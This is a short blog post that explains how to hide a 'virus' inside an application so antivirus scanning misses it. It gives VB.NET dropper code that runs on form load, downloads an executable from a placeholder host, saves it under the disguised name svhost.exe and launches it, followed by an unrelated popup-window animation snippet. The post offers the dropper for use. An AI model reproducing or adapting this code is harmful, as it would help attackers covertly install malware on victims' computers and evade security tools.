Saturday, October 30, 2021

How virus placed in applications even after the scan is not detected by the antivirus

	'in general declaration
	import system.net

	'=========================
	'in class or load form
	dim link as string = "http://domain.com/server.exe"'your direct link server or patsh

	dim serv as string = "c:/svhost.exe"'The path that you want to put a virus in it

	my.computer.network.downloadFile(link,serv)'download the server from internet
	proccess.start(serv)'star the server



	The code of PopUp window :


	Private Sub Form1_Load(ByVal sender As System.Object,
	ByVal e As System.EventArgs) Handles MyBase.Load
	'Me.Visible = True
	Me.Opacity = 60
	Dim x As Integer
	Dim y As Integer
	x = Screen.PrimaryScreen.WorkingArea.Width
	y = Screen.PrimaryScreen.WorkingArea.Height - Me.Height

	Do Until x = Screen.PrimaryScreen.WorkingArea.Width - Me.Width
	x = x - 1
	Me.Location = New Point(x + 0.1, y - 0.01)
	Loop
	End Sub

	Private Sub Button1_Click(ByVal sender As System.Object,
	ByVal e As System.EventArgs) Handles Button1.Click
	Me.Close()

	End Sub